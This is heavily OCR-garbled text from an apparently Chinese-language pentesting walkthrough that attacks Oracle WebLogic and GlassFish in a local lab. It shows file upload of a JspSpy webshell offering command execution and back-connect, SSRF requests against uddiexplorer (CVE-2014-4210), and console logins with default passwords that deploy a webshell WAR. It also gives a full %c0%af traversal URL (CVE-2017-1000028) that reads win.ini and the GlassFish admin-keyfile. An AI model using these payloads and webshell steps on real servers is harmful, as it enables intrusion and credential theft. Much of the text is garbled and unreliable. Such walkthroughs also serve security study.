METCRAFT - Servicesr  [Fo information available]

SHMERESFHY, FREAL

W

W < > = B#Has mm css B4 Dom | P -
o | TBFE R [ 2EF| HTAL €SS JavaScript MR BN fEfE #iE FiE

S8 LS8 Post MEB ML &

Cookies PIE FIE ERARE Alv

<7zml wersion="1 0% encoding="UTF-&"%>{srrorfzgBeans<title>Reb s MRS M B¢/ titledtdeney B AR B¢/ descr¢datails
yeom. oracle webserwices. testelient. exception RSTestRuntineEzception: javaz. zml. bind UnmarshalEzception

- with linked ezception
[Exception [EclipseLink-25004] (Eclipse Pevsistencs Sevvicas = 2. 5.2 v20140319-%adsabd) 1 org. eclipse s
persistence. exceptions ¥MLMarshalEzceptionk#zd;
Exception Deseription: An error cceurred wimarshalling the documentizd;
Internal Ezception: org. zml. =aZ, ShHParseEzception; srstemld: file:/C:/Dracle/Middleware/Oracle Homefuzer_projects
Jdomains/baze_domain/servers/ddninServer/ tmp/ WL internal/com oracle webservices wls ws—testelient-app-wls_12
1. 3/ enprad/wmr/csg/upload/Rs_Upload 201% 1T
2 colunnifunber:

& 558/import_file_mame_lzhspr. js
#zd

at com. oracle. webservices. testclient. ws. action. lmnonTeleasencnon ezecute(ImportTestCazedction. jave
64 b#zd;

,,,‘fnwlﬂhttp //127.0.0.1:7001/ws_utc/css/upload/RS_Upload_2019-06-07_17-12-18_558/import_file_name_lxhspy.j



INT LI = & SQL BASICS- UNION BASED- ERROR/DOVELE QUERY- TOOLS- WAF BYPASS- ENCODING- HIML- ENCRYETION- OTHER- XS3- LFI-

4 Load URL

Rttp: /127 0.0.1.T001/ws_utef ess/upload/ES_Uplosd 2019-0B-07_17-12-18_555/ inport_file_name_lihspy. isp
B splic mL

) Egecute

[ Post dsta [ Referrer @ OEI W gar SUEL Jm @ BSES! WM [Louot suins npl‘ ‘Imn ceplacing stri| 7 Replacs £11 2 |
@5 ooy sose [JEe- @EA- GFRES~ ORIy AREr SEM- KTA- EEEEGr Eh- ov
JIETCREFT - Sarvices

127.0.0.1:7001 {192.168.124.1 29y | copy.

[He information available]

JepSpy Yer 2009 Private

Logout | File Manager | DataBase Manager | Exgcute Command | Shell OnlLine | Back Connect| Java Reflect | Eval Java Code | Port Scan | Download Remote File | ClipBoard | Port Map | Others |
JSP Env

File Manager - Current disk "C:\" total (unknow)

Current Directory |C fQraclemiddieware/Oracle_Homeluser_projectsidomainsibase_daomain/serversiadminSerertmpl_WL_internalicom oracle webservices wis wsrtestchentrapprm

weh Root | Shell Directory | Mew Directory | Mew File | Disk{C:f | DiskDu

BB | FEE .

# % { ) = mms EIEL css MA&  Dom | PISE -

Cookies PTE IS ERAEER ~ v BE
iR RE [ £E ML 0SS JavaScript MR ER RN M =i
| URL | #t# ] | ki | EERIP | Wik

= hEtp://127.0.0.1:7001 /ws_utc/css/upload/RS Upload 2019-06-07 17-12-18 558/import file namve lehspy.ism || =
&8 mm HML H&

EE1EST )

HTTF/1.1 200 OK

Date: Fri, 07 Jun 2019 09:14:55 GXT

Tramsfer-Encoding: churked

Content-Trpe: text/html; charsetzutf-&
al

Note:

1) ws_utc/begin.do {# fl i T4k H 3% /& 7€ ws_utc/config.do i% & ) Work Home Dir.
20 75 B3 S e H 37 .
3) AP FERUATIE, ER AR, FEIME

@ Load URL  [http://127.0.0.1:T00L/ws_utc/begin. do
B spliv R

+)  Execute

Insert replacing stril] [¥ Rep

[~ Post data [ Referrer < OxHEX . awr WUEL W, @ BASESY W |1t ciring to repl:|
@A~ Lfeckiesy #i5sv [IFE~ WEN- @FTEREA~ [E#IE AHEE- S8 ATS> @08~ 1xm-
HETERAFT - Zervieesr | [Ho information availsble]

E Wb B £ Bt 15

WEREEAWebIE ENIAE 1.

AAfH:
e

BRI
JA BB,
giifidomainii 1% T IfsetDomainEnv.cmd X, set PRODUCTION_MODE= % ¢y set PRODUCTION_MODE=true

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd

H#1(2019/06/07) A=/~ B CLHOH X AL A% AR R TT -



(&)  Faohaams Tocksss @20 [ &E & @ 5 = - & e- M-8 @~ »

THT v| = & SqL BASICS- UNION BASED- ERROR/DOUELE QUERY- TOOLS- WAT BIPASS- EFCODING- HTML- ENCRYPTION- OTHER- ¥55- LFI-
@ Load WL (http://1Z27.0.0.1:T00L/ws_ute/begin. do =
§ splie vRL ®

») Egecute

[~ Post data | Referrer # OxHEX wm s WURL e @ BASEBY W |[;.c0t siving to rep1| Insert replacing strij [ Replace All S | 3,
@FR - &rokiesw g0s5e [JFE- BN QFNEE- DEME- FRE- SR KTHE- @SERRB- 1 jEh- [xNoNe!
METCRAFT - Servicesr | [No information availahle]

EWebE%lliing'iE bt
#% A WSDL URL: T [ mmasLnE |
HHE WeDLigk

@ Copyright 2013 2015, Oracls andior It afMlates. &l ights rerarved.

Weblogic SSRFiii (CVE-2014-4210)

SMARRA: 10.0.2.0, 10.3.6.0

i1 /uddiexplorer/SearchPublicRegistries.jsp, #AEIEH Ui, WnREAALESLRT, HSEEFEL, WF
— E
INT LI = @& S5QL BASICS- UNIOW BASED- ERROE/DOUBLE QUERI- TOOLS- WAF EYPASS- ENCODING- HIML- ENCRYFTION- OTHER- XSS- LFI- E
@ Load URL http://127.0.001:7001/uddiexplorer/Sear chPublicRegistries. jsp el
H

B spritmL

b Execute

[ Post data [ Referrer @ UGEX W, awr WL WM aw EASEBC WM |fncort siring to repl‘ Tnsert replacing stri| [ Replace AL 3 | W
@ER Arokiesw prsiv [JEE- @ES- QFTEE. OEMME. SFE SEN- STA- EEEERS. LEhn- 000
METCRAFT - Services- ‘ [Ho information available]

Cracle WebLogic Server
UDDI Explorer =
Sat Jun 08 08:31:22 CST 2019

Search public registries

Function Public Registry: |IBM -

Search Public
Registries & Searchby boh

business namgl =
Search Private

Redqistry ¢ Search by key

Publish Private in

I TErTEE— ¢ Search for

Redgistry |

I Business location

Modify Private e A

riiliSearch, JFML, #MfL2 fE1EBurp 4, #FEChange request method, 1POST i K48 R GET .

J Raw | Farams ‘ Headers | Hex |

POST /uddiexplorer/SearchPublicRegistries jsp HTTE/1 1
Host: 127.0.0.1:7001

User-Agent: Momilla/5.0 (Windows NT 5.2 rv:48.0) Gecko/Z20Ll Send to Spider
Accepr: text/heml,applicarion/zheml+xml, applicarion/xml;q=0|
Accept-Langmage: sh-CH,sh;q=0.8,en-U8;q=0.5, en;q=0.3

Do an active scan

Accept-Encoding: gsip, deflate Send to Intruder Cirk+l
DAT: L
Send to Repeat Ctrl+R
Beferer: http://127.0.0.1:7001 nddiexploces/ SearchPubl icRegi end to Repeater !
Cookie: publicinquizymzls=heep://www-2.ibm. com'sexvices/uddi Send to Sequencer services/uddi/vibera/ inquizyapi! [BM
U2 |hetp://uddi.zbe miczosoft. coml inquize Miczosofe [hetp:// ¢ i 1 KMethods | ;
JSESS T0F ID=nHa Ce T emgle S Mndgsp £l 5202 qh 73kw] IuT Cv W2 PR42xLE Send to Comparer
K-Torwarded-For: 8.8.8.8 Send to Decoder
Connection: close
Upgrade- Insecure-Requeses: 1 Request in browser >
Content-Type: application/z-www-form-urlencoded g
Content-Length: 171 EnoaoEmentiicels = /
Change request method J
opezator=hetp4 TA P42 Twww—3 . ibm. com$ZFservices42TuddidiTi Lyhi ¥ =sselfor=businesst
locationabtndubmit=5earch Change bady encoding
Copy URL
Copy as curl command
Copy to file
Faste from file
Save item
Don't intercept requests >
2 « + > | | ruoe & seamh tem (202 0 match
Do intercept >

Z¥foperator HSSRF I [ ¥ 24, KL BONTFRIA5 11, Wihttp://127.0.0.1:7001/, H§iZ[ilerror code



| Go Cancel <\r >|r

Target: hitp JHZ7.0.0.4:7001 | | [ 2

F
Request Response
Raw [ Params | Headers | Hex / Raw | Headers | Hex | HTML | Render
GET |‘ value="Search"></tds</ b ]
fuddiexplorexr/SearchPubl icRegistries_jspTeperater=http://127.0.0.1:7 </ form> r
001/ gxd " T T R = </table>

selfor=Businesstlocat ionsbondubmiv=Seazch HITE/1.1
Hest: 127.0.0.1:7001

User-Agent: Mosilla/S.0 (Windows NT §
Firefox/38.0

Accept:

text/heml , appl ication/zhtml+xnl , appl ication/znl ;
Accept-Langmage: sh-CH,sh;q=0_6,en-U3;q=0_5, e
Accept-Encoding: gsip, deflate

DNT: L

Beferer:
http://127.0.0.1: 700 Y/ uddiexpl orer/ SeazchPubl icRegistries. jap
Cookie:

publicinguiryurls=http://www=2. ibm.com/services/uddi/ inquiryapi! [BM|
http:/ /www- 2. ibm.com/ sexvices/ uddi/vibeta/ inquizyapi | IBU

VUZ |heep://uddi_zte.microsefr.com inquize Miczosofe |hevp:// services . x
methods net/ glue/ inquize/uddi Xlethods |;

JSESS [0 ID=nH0 CeT lemgXeS MndgSp fvl shqh 7 jkw] IwT Cv W2 PRAZxLInhT 1 -420
0za38

H-Torwarded-Tor: 0.9.9.0

Connection: claose

Upgrade- Insecure-Requests: 1

v:48.0) Gecks/Z0100101

8,k % q=0.8

I

? < + ® | |Umatcnes

<table wideh=100% cellpadding=5 cellspacing=$
walign=top>

<prAn error has ccourred<ER>
weblogic.uddi. client. structures. exception. ML SoapException: The zerver
at http: //127.0.0 1:7001/ returned a 404 &ihm,- ot
Foundi#41;. Please emzure that your URL iz correct, and the web
service has deployed without crrox

</table>

<fed>
</er>
</table>
<script language="javascrips"s

Function operWir (name, URL)
i

var new windew = window.open (UEL,name) ;

t

</3czipe>

2 [« | [+ ][5 | [7rpe=seamntem 0 matshes
EEICTIES

10.754 bytes | 15 millis

FHF 1 ONHTTPEML, W43 [21did not have a valid SOAP content-type.

Go Cancel < v >
Request

Raw | Params | Headers | Hex

T
wddiexplorer/SearchPubl icRegistries_jspTeperator=http://127.0.0.1 80/& :
a 1 P I O =trelforzE
sinesstlocationsbtnbubmit=Search HITF/ 1.1
ast: 127.0.0.1:7001
ser-Agent: Mosilla/5.0 (Windows T 5.2; rv:48.0) Gecks/ 20100101
irefox/48.0
ccept: tewt/heml , appl icat ion/xheml +xml , appl ication/xml ;q=0.9, %/ *;q=0.8
ccept-Language: sh-C, sh; q=0.8, en-U8;q=0.5, en; q=0.2
ccept-Encoding: gsip, deflate
o1
eferer: hotp://127.0.0.1: 7001 uddiexpl orer/ SearchPubl icRegistries. jap
aokie:
ublicinguizyuzl s=hetp:/ /w2 ibm. com’ services/ uddif inquizyapi! IBY hetp
S wnoma= 3 il com services/uddi/vIbeta/ ingquiryap i | TEM
‘2 nttp://uddi.rte.miczosoft. com' incquizre Miczosoft |http://services . xmet
eds.net/ glue/ inquire/ uddi XMethods |;
SESSIONID=nHECe T {emghe 8 JWnJg5p£vl s2hiqh 79k DwT v UIPRAZXLIwAT | - 420024
8
~Torwarded-For: 8.6.8.0
ennection: close
pgrade-Insecuze-Requests: 1
b
v
? < + > Tine 2 seamh temr 0 matches

rone

Target: hitp4127.00.4 7001 | & | 2
Response
Raw [ Headers | Hex | HTML | Render
A
</ selects</tds -
<fez>
<tr>ctd calspan=4><input type=submit name=htnSubmit
Search">¢/td><ftz>
<f Eoxm>
<ftable>
<table width=100% cellpadding=5 cellspacing=§
wal ign=top>
<p3hn error has oceccurrsd<BE>
weblogic.uddi. client. structures. exception ZML_SoapException:
Received a respense from url: http://127.0.0.1:80/ which did net
have a valid SOAP content-type: text/htmli#S59; charcet=utf-8.
<ftable>
</ed> \
</
</table>
<script language="javascript >
function operWin (name, UEL)
1
var new windew = windew. open (URL, name] ;
1 v
? < + > Tyoe & seamh tem 0 matshes
10,708 bytes | 18 millis

Vi A E /S ], #5320 could not connect over HTTP to server

Go Cancel < v >
Request

Raw | Params | Headers | Hex

Target: hitp:#127.0.0.4.7001 | | [ 2

Response

Raw | Headers | Hex | HTML | Render

GET |‘
/uddiexplorex/SearchPubl icRegistries_jspTeperater=http://127.0.0.1.17
007/ sxd N I =1yt =

¥
selfor=Fus iness+locationsbenSubmit=8earch HTTP/ 1.1
Hast: 127.0.0.1:7001

User-Agent: Mosilla/5.0 (Windows NT §
Fizefox/48.0

Recepr:

text/ heml , appl icat ion/ shtml+xnl , appl ication/zml ;q=0.6,% *; q=0.58
Accept-Language: sh-CN,oh;q=0_8,en-U8; q=0_5,en; q=0.3
Accept-Encoding: guip, deflate

INT: 1
Beferer
heep: /12
Cackie
publ icinguizyuzl s=hetp:// wwne=2. ibm. com' services/nddi/ inqizyapi! I8N |
http: //wwwo 2. ibm. comd services/uddi/ vibetal inquizyapi ! [BI

UZ heep/fnddi rte microsoft com/ inquire IMicrosoft |hetp:// services x
methods .net/ glue/ inqmize/uddi !XMethods | ;

JSESS 0N ID=nHECc T (emgke 8 Tndg5p vl sTh qh k] DT Cv(UIPEAZcLhnhT |- 420
02428

H-Forwarded-For: 8.5.8.8

Connection: clase

Upgrade-Insecuze-Requests: 1

Tv:48.0) Gecke/Z010010L

.0.0.1: 700/ uddiexplozer/ ScarchPubl icRegistrics. jsp

i

@ 5 ) ) [ermeen

Laone

W R B PRERER, BRI AR

(£3-5:378

e

</ select>e/td>
<fre>

<trsced colspan=4><input typessubmit name=btniubmit
wvalue="Search"></td></ tr>

</ fozm>

</table>

<table width=100% cellpadding=5 cellspacing=§
val ign=top>

<poRn error has socurred<BR>
weblogic.uddi. client. structures. exception. 7ML SeapException: Tried all:
&#39,14#39; addresses, but could not cormect ouer HITF ko sexver}
£#39,127.0.0. 16439, port: &H35;7007:439;

</tablex

<ftd>
<fez>
</table>
<script language="javascript'>

funetion operWin (name, URL)
1

var new windew = window. open (UEL , name) ;

2 [« | [+ ][+ ] [Fme=seanntem 0 matches
Ll

10,700 bytes | 922 millis

}

It SearchPublicRegistries.jsp 3 {1 ok 1% M SearchPublicRegistries.jsp U 4 AT G 4%, inSearchPublicRegistries.jspxx, Jii & jii Weblogic, 5 1jj

i, AR
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m AT & e

1271.0.0.1° © FEP foYeal c‘@‘o\kz% ‘ﬁ@ ¥ & @-3 8 @ - & - |- G ¢
e x| = © SQLBASICS- UNION BASED- ERROR/DOVELE QUERT- T0OLS- WAF BYPASS- ENCODING- HIML- ENCRIPTION- OTHER- XSS- LFI-
m ‘@ Lead VRL  (http://127.0.0.1:7001/uddi explorer/SearchPublicRegistries. jsp Greasemonkey 3.9

Greasemonkey EUEMA.
QF © ¥ P=x § sum B0
IR [0 \Oracleidiovarels 0 E i%i%@) B6TE
= [~ Fost data | Referrer 48 OxMEX wwm  gwr SURL s g BASEB4 B |Dncort ciring to repl e

i

[e1pModi fyPrivate. js = = s . 3 2
Eelhodi yPrivace jop @R~ Rtookiesw 05> [JRE- LEA- GFAES- DEBDE- AFl- S8 KTA- EEEEND- (X0
AHETCRAFT - Servicess

Tnsert replacing stri| [V Replac

Bl HeloPubliskFrivate. jsp
HelpSearchPrivate. jsp

[Fo infornation availabla]

[ index. jsp
Login. jsp
Logout. jup

Error 404--Not Found

Modi fyRegistry. jsp

IE@ #EW®

http://127.0

ries. jspooe %

Mo di £yRegi steyk T &

ot et saytuiasss o (&) FHiH IR it t B es [R-aN=1 |
odi fyRegistryBusinessConfirma

Modi fyRegistryContact. jsp INT ;I = @ SQL BASICS+ UFION BASED- EEROE/DOVELE QUERY- TOOLS- WAF BYFASS- |

e Am i e il Load VEL  [Tttp://1ZT.0.0. 1:T001 fuddi explorer,/SearchPubli cRegistries. jspimx
Mo EegistryService. 3p Fropi RFC 2068 Hypertext Transfer Protocol — = " * glatrien Jor
e di fyRegistryServi ceConfimnat 8 slic R
[SJoracle Togo eif # WfC » )= pBHa AL oSS BMA  DON | MK v | Cookies V) Zzecote
AR iR 250 HINL CSS JavaScript XHR BS HiF #HE I Post data | Referrer @ DOEX ym e WEL 3w e !

PublishServiceConfirmation. jsp URL - - . .
= GET SearchPublicRegistries.jsp i totFound | OB Afeckissr 0Sr [JRE- LEN- QFREE- DM SFE- OB
MMETCRAFT - Services-

PublishContactConfirmation. jsp

TublishToPrivateRegistry. jsp

SearchPrivateRegistries. isp

SearchPublicRegistries jsprxx
SetuplTDIExplorer. jsp K

%8 W@ HTML

{%@ page language="java” contentType="text/html;c
stylesheet. jsp Content-Length 1154 R - . ”
5] topheader. jsp Content-Type tezt/htnl; charsst=UIF-3 <%@ page import="com. bea.uddiexplorer. Search”%>
at, un 4 . " . ”

x,pwg,:,fé: :E;“]:u s ;:;32": seds o <%@ page import="com. bea.uddiexplorer. Setup”%>
[Ep———— %@ page import="com bea.uddiexplorer. StringUtils
GET |fudat emplozey/SeavenPublichenistyies. 15p KITE/1. 1 %@ page import="java.net. URLEncoder”%>
Host: 127.0.0. 17001 . o : - .
Bt goa a3 o (s 3 5 2 1045 ) Cote/sotooes s/ o <%@ page import="weblogic. uddi.client. structures..
heccept: tezt/himl,application/zhtml+zml, application/aml:q=0 3, */¥;q=0.8 H = i i i
Lo L e e M@ page import="weblogic. uddi. client. structures..

{%@ page import="weblogic.uddi.client. structures.

SearchPublicRegistries jspi# 12 4:

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war

Weblogic 55 14 && J5 & getshell

§3114%%: https://cirt.net/passwords?criteria=WebLogic

Vil http://127.0.0.1:7001/console
[ 5 HE 5E [ #http: //127.0.0.1:7001/console/login/LoginForm.jsp, {58 4G4 .

R i A L

ORACLE WeblLogic Server® Administration Console n
AL @ 7w tw Hgm BT HE Q ﬂt:‘ﬂ,weblogic‘Eﬁéw:basefdnmain
EEFRREREH ER-AMEEE w
BRRESRE. FREIEN, HnmE s PEERE
B B R, A L T .
22 I 1)
HiE
base_domain _ ; .
SR HAERT BERRE LAY Java EE ARSI NARFEATER. ETEtEREAETFE, AREAL
Lam TIPS H, ATEUA LS P R 5, (510, B3 (EHFE) MR AT R R MR EFER.
ﬂ A% EREHNARFRERUEET P B R, FRE EE"EE.
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- TE
B g bEHitE
BE /
&% | | =31 | MR | Biv | | Bk BROFO4 #0454 £~ | T—4
‘ — | 2 o | HEde BREEdE £l ] | MR ‘
s BECCH,
ORACLE WeblLogic Server® Administration Console m
FE L @ =7 #w =em iLE ek ‘ Q %, weblogic ‘ﬁ%%w:base_domain
EETAMEHET IR mERE
BRAREGRE. FREBR RNSMER TSP EENHERENER
MR AR, AL RN,
5| [Fog | |50 |Lan
i
base_domain ENELENPIHAETTE
B3R
+ ks AERENNARFIRET, HECY, BAMIER TUNARFEAHERR. EEHRnE. BETE e
B :;i FRPEARRARERFB TR HRE.
j‘"ﬁ%éﬁﬁi H: UTRETHMKHRE. NREHTHHE M, Wi LSt/ Sl ENERREFEESRR NI HE
E-EEE .
-y
wmE IC:\
wEEARREE: ()
ELjcd-d 127.0.0.1\C:
1 Dacuments and Setfings

HEffwartd, A8
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SRR IEMEHE

BRARERE. FREE, S0t ep
P ER, FaEMNEEEE.

TR -BERE

L i R R F

L

T8 | =H ‘ Bl

ot ]
base_domain HFaE LE&DERRBES
Lanb2i: ]
i waE BETEA SR, ABESAE ST EN DRENERESER. R HE, B TS AN ERE LS
Sl B REEE.
R e
i p— ) . AR S
i ;;ﬁ BENE hspy.viar Efwart) S F—F
THBFiH (EFWAE)
BETHR—HEE. TS BT EEP IERETE. BEEREBT TR T A GET, B Ee R
TR EH—ERE it RS AMER MRS jor xHMREEEEE. SXHBHEIMNRBEL, FSEE
BEHHYE S | ke,
HEhEE =]
5 || 55 |50 | ma

LS LR et LS, et T — 35
EERNMETES

ERRERE. FRmiEa, RNkt
from B B, 3 B SR IR .

M
oase_domain
B RlE
BE
H-pRE
gkl
H-EMRE
-3

HWaERE

LR =k el el atid - - ot ol B
« RERIERER

PR SRR 22

E 3-8 Hb)
EEEAMEFTE

FRARERE. FREEL, Rzt
o BRf, BRI T .

J Tl 7

o]
base_domain
Eagba:
HE
L
FER S
F-ERE
]

HWehiE =

SR B p i e R ]

R -WERE
HE

of BREThE s thdhspy.war E 31 \Oracke\Middewareuser _projectsidomainsibase_domaintserversiddminServeriupload

ERNAEREHER

= | | - | ET ‘ B
RHELENABEAREDE

AERENEARFRET, MEXH, BEFOYREE TR RFEAREN. EEXHRE. BETUE RE TRPEA
idsiE e o b e

i UTARTAMKHEE. WRERTIEE 8, NE LR A/ SR ENEARF RS RO EEe .

mE: |C:\Oracle\MiddIeware\user _projectsdomains'base_domain',servers\ AdminServer'uy

=3 B s (Fe)

LFRr e 127.0.0.1%C: \ Oracle \ Middleware \ user_projects \ domains \ base_domain \ servers } AdminServer
Y upload

® @ Ixhspy.war d=—

= | | - | ET ‘ B
o
i e e - I
FR-AWEEE
EERARERIEE
=5 || T8 | e ‘ AT
EHEERAR

BRI E MRS S, EHNENEN. ALMEEHBARREMTREAE.
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o omwamess |y astmain svaissuse

ORACLE WeblLogic Server® Administration Console

wah A @ 7 st Eam BE A | Q %0, weblogi #32): base_domain
SETAMEHED F0 =EEHE =khepy ~FEME »bhhspy >WEEE
ERBERE. BRI, Rns MEs o TENAEFGHER = e
WmERT, ¥ AT A LT / '?k [E ﬁ%ﬁ:ﬁ\i
=% | T | TR ‘ =
oed ]
base_domain wERE
R s . &
s EEHE AR G E N RTINEE
B BR% —KER
RS
i W ILAET
o EEE TR R A & LAET
- 3 s
& Ixhspya
%
ERBEEAEFERT LR 2EE
© BB R RERESEEETTELNARMER.
S EI‘ C ERAE EHETREEA ST ESLRME; &REDR R P E X . ]
MM B MM, s ST,
BARD ® =7 s HEm g A Q %M, weblogic | ¥ 1%F|: base_domain
SETAMETES 7 SAEME >hhopy >HEME >bhopy ~REHE
HE
RRERERE. SORTEN, RNDMIR P
T ER, FESME RN,  BREMAEN. THREEHEHN.
& BRDIREGE.
HE@
base_domain AEERE
L ]
S8 Ba | &R
-fx
R e
B-TEE HAETT BEREH L Java EE MAREML T HARFERIE. BlEEEERREFS, ARERLE PR, LML
i P RS, fRLL, B (EHERE) MR AT &R AR 2 AR .
ERI N ARFSERGBER MEh § BiF, ERE R K RE.
bEHRE . ~ T -
HRARD), BTa R A,
L ~
EE | BF AR B | | Bk~ \ BRI 14, #£14 = | F—4
HWohEE El
[ V| &% o RiE | BEKR (%3 AEEF
» RERIERER v | B g xhspya T & oK Web [ARF 100
Vilil: http://ip:port/[wartl#]/[{LH A XlH4]
IHT ] = @ SQL BASICS~ UWION BASED- ERROR/DOVELE QUERY- TOOLS- WAF BYPASS- EHCODING- HIML- EHCEYPTION- OTHER- XSS~ LFI-
@ Load URL http://127.0.0.1: 7001/ 1xhspys/Lxhspy. jsp =
4 seLit L o
b} Exeeute
I Post data | Referver @ OxHEX wm g SURL wm @ BASEBL 3 oot civing to repl‘ Tncert replacing stris [ Replace All 39 B
@A~ Acookies orssv [JRiE- WEN- QFREE- MM JFd- St KTA- EEEERD- |- QU

WETCRAFT - Services- | [Ho infurmation wailsble]

127.0.0.1:7001 (192.165.0.108) | copy

Logout | File Manager | DataBase Manager | Execute Command | Shell OnlLine | Back Connect | Java Reflect | Eval Java Code | Port Scan | Download Remote File | ClipBoard | Port

JspSpy Vier: 2008 Private

Map | Others | JSP Env

File Manager - Current disk "C:\" total (unknow)

Current Directory | C/OracleiMiddlewars/user_projectsidomainsibase_domain/serversfAdminServeritmps_WL_usenxhspyamn83rniwar

Web Root | Shell Directory | New Directory | Mew File | Disk{C:f} | Disk{D:f}

Name
= Goto Parent
0 META-INF
[T beamarkerdat

[T bhspyisp

Pack Selected - Delete Selected

(E3-5:378

WS G4

GlassFish

Last Modified

2019-06-08 04:30:44 =
2019-06-08 05:07:18 1B

2018-06-08 04:30:40

L

Size ReadMWrite/Execute

frue f true f unknow

true / true funknow

13677K frue f true f unknow

Del | Move | Pack
Edit | Down | Copy | Move | Property | Enter | Pack

Edit | Down | Copy | Move | Property | Enter | Pack

71 directories { 2 files

GlassFish & T-#) & Java EE 5 Il 55 2& (T IR T & 0 H [ 4 FK. & 2T Sun Microsystems #24£/1] Sun Java System Application Server PE 9 (#7515
ELJ Oracle STkl TopLink #ANEARES . 12350 H S 4% T T ke o ik 2 P R 55 248 (¥ 4 R ARk A, DATIT o oA A 11038 E e (L 1y T i o

BRiAS 1. 8080 (Webifli 1, EIMuGP9%%) , 4848 (GlassFishi#ir)

BRINIR [l 5 8UE B

Server: GlassFish Server Open Source Edition

4.1.2



X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8)
F#4.1.2/04

fift i), ik A glassfish/bin H 5% 4T FFCMD 4 Aasadmin start-domain ) Zglassfish

asadmin stop-domain {5 1E:glassfish

GlassFish Directory Traversal (CVE-2017-1000028)

javaifi & fh 20 %c0%aff# it M\UCOAF, I SUNASCCIF 7/ CGRIAL) o FIH..%c0%af.. %c0%af ki b skis, ik

SR ARSI RCR

THSEHURE T UTF8gn it Heli —3bDIFEATHE L, RILF T LLOIF S, FORIXSE—MRfEASCIFERF,  ELEERE S 2RIM0TF I, W24 775 224511088
WG Lo

UTF84 i Bz n ™
FHH KAEE (F#EHD FH4i1 Fii2 FH3 Fiia
1 U+ 0000~ U+ 007F (0~127) 0300000 None None None
2 U+ 0080~ U+ 07FF (128~2047) 11030000 10500000 None None
3 U+ 0800~ U + OFFF (2048~65535) 1110500 10500000 10300000¢ None
4 U+ 10000 ~ U + 10FFFF(65536~1114111) 11110x0¢ 10500000 10500000 1030000

COAF 4 i — i 7y 110 00000 10 101111, 110JF kL5 00000 101111 4y 10t )y47, ASSCIAy/ .

ZRMRRA: <=4.1.28 A4

JH#)GlassFish/& , 1
http://your-ip:4848/theme/META-INF/prototype%co%af..%c0%af. . .%co0%af. . .%co%af. .%cO%af..%c0%af. .%co%af. . .%co%af..%cO%af..%c0%af.. .%co0%af. . .%c0%af..%c0%afwindows/win.ini,
Ry B win.ini ST A .

& C 0 @ 127.0.0.1:4848/theme/META-INF/prototyp % B 4 H 0
; for 16-bit app support
[fonts]
[extensions]
[mei extensions]
[£iles]
Maill
NAPI=1

[#LServiceFlatform TpLoader]
TpExistenceTime=132
TplloExistenceTine=24269

[m @] | Fements Console Sources  Performance  Memory  Application  Security  Audits iox
® 0 WY Q| View Group by frame Preserve log Disable cache Offline No throttling ¥
Filte Hide data URLs [\ XHR JS CSS Img Media Font Doc WS Manifest Other
50ms 100 ms 150 ms 200 ms 250 ms 300ms 350 ms 200ms 450ms 500 ms
Name X Headers Preview Response Cookies Timing

O, ..

- ’ Request URL: http://127.0.0.1:4843/theme /META-INF/prototype%ic@taf . . 4cl%kat . .7

%af. . %cO%af. Hco%af. . XcOXaf. . %cO@¥af. . XcO%af. . KcO¥af. . %cO%af. . %cO%a

http://127.0.0.1:4848/favicon.ico
windows /win.ini
Request Method: GET
Status Code: @ 200 0K

Note:#it S 7E IR M BL 2% £ A ik DD B2 G, 165 B AT 8 N .. %c0%af

izadmin-keyfile U, 1% 302 it AFadminlik 5 S5 85 1) SCPF, 0%
{7 glassfish/domains/domain1/config/admin-keyfile


https://download.java.net/glassfish/4.1.2/release/glassfish-4.1.2.zip

& C O ©® 127.0.0.1:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%afdomains/do... v Bk Tto0oH 6o

admin; (SSHA256) 3rLwundve/6akepK4e]1U6N3+6 gk IAdnTF58C1THE DG KR BADeyv==; asadmin

® ﬂ Elements Console Network  Sources Performance Memory  Application Security  Audits X
® © m Y Q Vew O Group by frame | [J Preserve log [J Disable cache | ) Offline Nothrottling ¥
Filter () Hide data URLs [} XMR JS 55 Img Media Font Doc WS Manifest Other
| 10ms 20ms 30ms 10ms 50ms 60ms T0ms 80ms 90 ms 100 ms e
Name X Headers Preview Response Cookies Timing

B admin-keyfile v General =

Request URL: http://127.8.0.1:4848/theme/META-INF/. .%cO%af . . %cOXaf. . %co%a
f..%c@%af. %cO%afdomains/domainl/config/admin-keyfile
Reauest Method: GET

BE W
T4 GlassFish s #i i A o

GlassFish )5 &5 Getshell

HENJG G5 Applications, i1l (deploy
&« C 0O O F=2| 192.168.31.132:4848/common/index jsf % B 8 ?* O &

Home About...
User: admin Domain: domain1 = Server: 192.168.31.132

GlassFish™ Server Open Source Edition

Common Tasks Applications

e Domain Applications can be enterprise or web applications, or various kinds of modules. Restart an application or module by clicking on the

[ server (Admin Server) link, this action will apply only to the targets that the application or module is enabled on

g‘g Clusters Deployed Applications (0)
[ Standalone Instances |[Deploy...| Undeploy Enable Disable | Filter:
> @ Nodes I - -
Select ‘ Name Deployment Order Enabled Engines Action

No items found
s Lifecycle Modules

Monitoring Data

v [ Resources
> & Concurrent Resources
* g Connectors
* [ JOBC
> gt JMS Resources
> (g INDI

i rhwarfdJ 1A%, 15 Context Root ix A R F kil ffurl, 7Ok
< C O A 72| 192.168.31.132:4848/common/index.jsf ¥ BB ? OO @ 0¢

Home  About. .
User: admin Domain: domain1 Server: 192 168 31.132

GlassFish™ Server Open Source Edition

Common Tasks Deploy Applications or Modules
0 Domain Specify the location of the application or module to deploy. An application can be in a packaged file or specified as a directory.
[ server (Admin Server) * Indicates required field
Clusters Location: Packaged File to Be Uploaded to the Server
El Standalone Instances Ixhspy.war
> [ Nodes
I_ () Local Packaged File or Directory That Is Accessible from GlassFish Server
& Lifecycle Modules [ | Browse Files... | | Browse Folders...
Monitoring Data
:* [Web Applcation v |
v e: * [Web Application v
v [ Resources ‘ Type
B8 Concurrent Resources
> & Connectors Context Root: [ixhsec ™ ]
8 JDBC Path relative to server's base URL
> gt JMS Resources Application Name: * [ixhspy |
» (3 JNDI Virtual Servers: T
JavaMail Sessions server
=] Resource Adapter Configs -
v [§4 Configurations Arssuclates an Internet domain name with a physical server.
status: ¥ Enabled
» default-config
Allnws 11sAre tn arcess the annlicatinn

Vil http://127.0.0.1:8088/[Context Root]/[warflifIfilename]



